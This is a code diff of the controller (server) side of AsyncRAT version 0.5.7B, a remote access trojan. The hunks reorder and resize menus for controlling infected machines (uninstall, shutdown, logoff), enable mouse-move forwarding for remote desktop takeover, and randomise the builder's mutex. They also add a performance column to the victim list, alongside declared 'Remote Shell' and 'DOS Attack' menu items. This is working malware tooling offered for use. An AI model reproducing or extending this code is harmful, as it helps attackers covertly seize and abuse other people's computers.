this.filesSearcherToolStripMenuItem.Text = "Files Searcher"; this.filesSearcherToolStripMenuItem.Text = "Files Searcher";
this.filesSearcherToolStripMenuItem.Click += new System.EventHandler(this.filesSearcherToolStripMenuItem_Click); this.filesSearcherToolStripMenuItem.Click += new System.EventHandler(this.filesSearcherToolStripMenuItem_Click);
// //
@ -572,62 +577,8 @@
this.pCToolStripMenuItem}); this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.systemToolStripMenuItem.Size = new System.Drawing.Size(237, 32);
this.systemToolStripMenuItem.Text = "System"; this.systemToolStripMenuItem.Text = "Client Managment";
//
// clientToolStripMenuItem
//
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.closeToolStripMenuItem1,
this.restartToolStripMenuItem2,
this.updateToolStripMenuItem2,
this.uninstallToolStripMenuItem,
this.toolStripSeparator3,
this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client";
//
// closeToolStripMenuItem1
//
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34);
this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
//
// restartToolStripMenuItem2
//
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
//
// updateToolStripMenuItem2
//
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
//
// uninstallToolStripMenuItem
//
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6);
//
// showFolderToolStripMenuItem
//
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
// //
// pCToolStripMenuItem // pCToolStripMenuItem
// //
@ -640,27 +591,6 @@
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC"; this.pCToolStripMenuItem.Text = "PC";
// //
// logoffToolStripMenuItem1
//
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
//
// restartToolStripMenuItem3
//
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34);
this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
//
// shutdownToolStripMenuItem1
//
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
//
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
@ -679,7 +609,7 @@
// //
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem"; this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.blockClientsToolStripMenuItem.Text = "Block Clients"; this.blockClientsToolStripMenuItem.Text = "Block Clients";
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click); this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
// //
@ -993,10 +923,80 @@
this.TimerTask.Interval = 5000; this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
// //
// lv_group // shutdownToolStripMenuItem1
// //
this.lv_group.Text = "Group"; this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.lv_group.Width = 110; this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
//
// restartToolStripMenuItem3
//
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
//
// logoffToolStripMenuItem1
//
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
//
// closeToolStripMenuItem1
//
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
//
// restartToolStripMenuItem2
//
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
//
// updateToolStripMenuItem2
//
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
//
// uninstallToolStripMenuItem
//
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6);
//
// showFolderToolStripMenuItem
//
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
//
// clientToolStripMenuItem
//
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.closeToolStripMenuItem1,
this.restartToolStripMenuItem2,
this.updateToolStripMenuItem2,
this.uninstallToolStripMenuItem,
this.toolStripSeparator3,
this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.clientToolStripMenuItem.Text = "Client";
// //
// Form1 // Form1
// //
@ -1098,18 +1098,8 @@
private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem pCToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem pCToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem seedTorrentToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem seedTorrentToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem dOSAttackToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem dOSAttackToolStripMenuItem;
@ -1135,6 +1125,16 @@
private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem;
private System.Windows.Forms.ColumnHeader lv_group; private System.Windows.Forms.ColumnHeader lv_group;
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
} }
} }

View File

@ -371,7 +371,7 @@ namespace Server.Forms
0, 0,
0}); 0});
this.numDelay.Minimum = new decimal(new int[] { this.numDelay.Minimum = new decimal(new int[] {
1, 3,
0, 0,
0, 0,
0}); 0});
@ -379,7 +379,7 @@ namespace Server.Forms
this.numDelay.Size = new System.Drawing.Size(84, 26); this.numDelay.Size = new System.Drawing.Size(84, 26);
this.numDelay.TabIndex = 15; this.numDelay.TabIndex = 15;
this.numDelay.Value = new decimal(new int[] { this.numDelay.Value = new decimal(new int[] {
1, 3,
0, 0,
0, 0,
0}); 0});

View File

@ -94,6 +94,8 @@ namespace Server.Forms
} }
} }
catch { } catch { }
txtMutex.Text = getRandomCharacters();
} }

View File

@ -60,6 +60,7 @@
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
// //
// timer1 // timer1

View File

@ -226,23 +226,23 @@ namespace Server.Forms
catch { } catch { }
} }
//private void PictureBox1_MouseMove(object sender, MouseEventArgs e) private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
//{ {
// try try
// { {
// if (pictureBox1.Image != null && this.ContainsFocus && isMouse) if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
// { {
// Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
// MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
// msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
// msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("Option").AsString = "mouseMove";
// msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("X").AsInteger = p.X;
// msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Y").AsInteger = p.Y;
// ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
// } }
// } }
// catch { } catch { }
//} }
private void Button3_Click(object sender, EventArgs e) private void Button3_Click(object sender, EventArgs e)
{ {
@ -332,5 +332,7 @@ namespace Server.Forms
|| ((key & Keys.NumLock) == Keys.NumLock) || ((key & Keys.NumLock) == Keys.NumLock)
|| ((key & Keys.Scroll) == Keys.Scroll); || ((key & Keys.Scroll) == Keys.Scroll);
} }
} }
} }

View File

@ -79,7 +79,14 @@ namespace Server.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
client.LV.SubItems.Add("0000 MS"); client.LV.SubItems.Add("0000 MS");
client.LV.SubItems.Add("..."); try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
}
catch
{
client.LV.SubItems.Add("...");
}
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;

View File

@ -4,6 +4,7 @@ using System.Diagnostics;
using System.Windows.Forms; using System.Windows.Forms;
using System.Threading; using System.Threading;
using System.Drawing; using System.Drawing;
using Microsoft.VisualBasic;
namespace Server.Handle_Packet namespace Server.Handle_Packet
{ {
@ -32,12 +33,13 @@ namespace Server.Handle_Packet
lock (Settings.LockListviewClients) lock (Settings.LockListviewClients)
if (client.LV != null) if (client.LV != null)
{ {
client.LV.SubItems[Program.form1.lv_ping.Index].Text = unpack_msgpack.ForcePathObject("Message").AsInteger.ToString() + " MS"; int interval = (int)unpack_msgpack.ForcePathObject("Message").AsInteger;
if (unpack_msgpack.ForcePathObject("Message").AsInteger > 600) client.LV.SubItems[Program.form1.lv_ping.Index].Text = interval + " MS";
if (interval > 400)
{ {
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red; client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red;
} }
else if (unpack_msgpack.ForcePathObject("Message").AsInteger > 300) else if (interval > 200)
{ {
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange; client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange;
} }

View File

@ -19,7 +19,7 @@ namespace Server
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate; public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.7A"; public static readonly string Version = "AsyncRAT 0.5.7B";
public static object LockListviewClients = new object(); public static object LockListviewClients = new object();
public static object LockListviewLogs = new object(); public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object(); public static object LockListviewThumb = new object();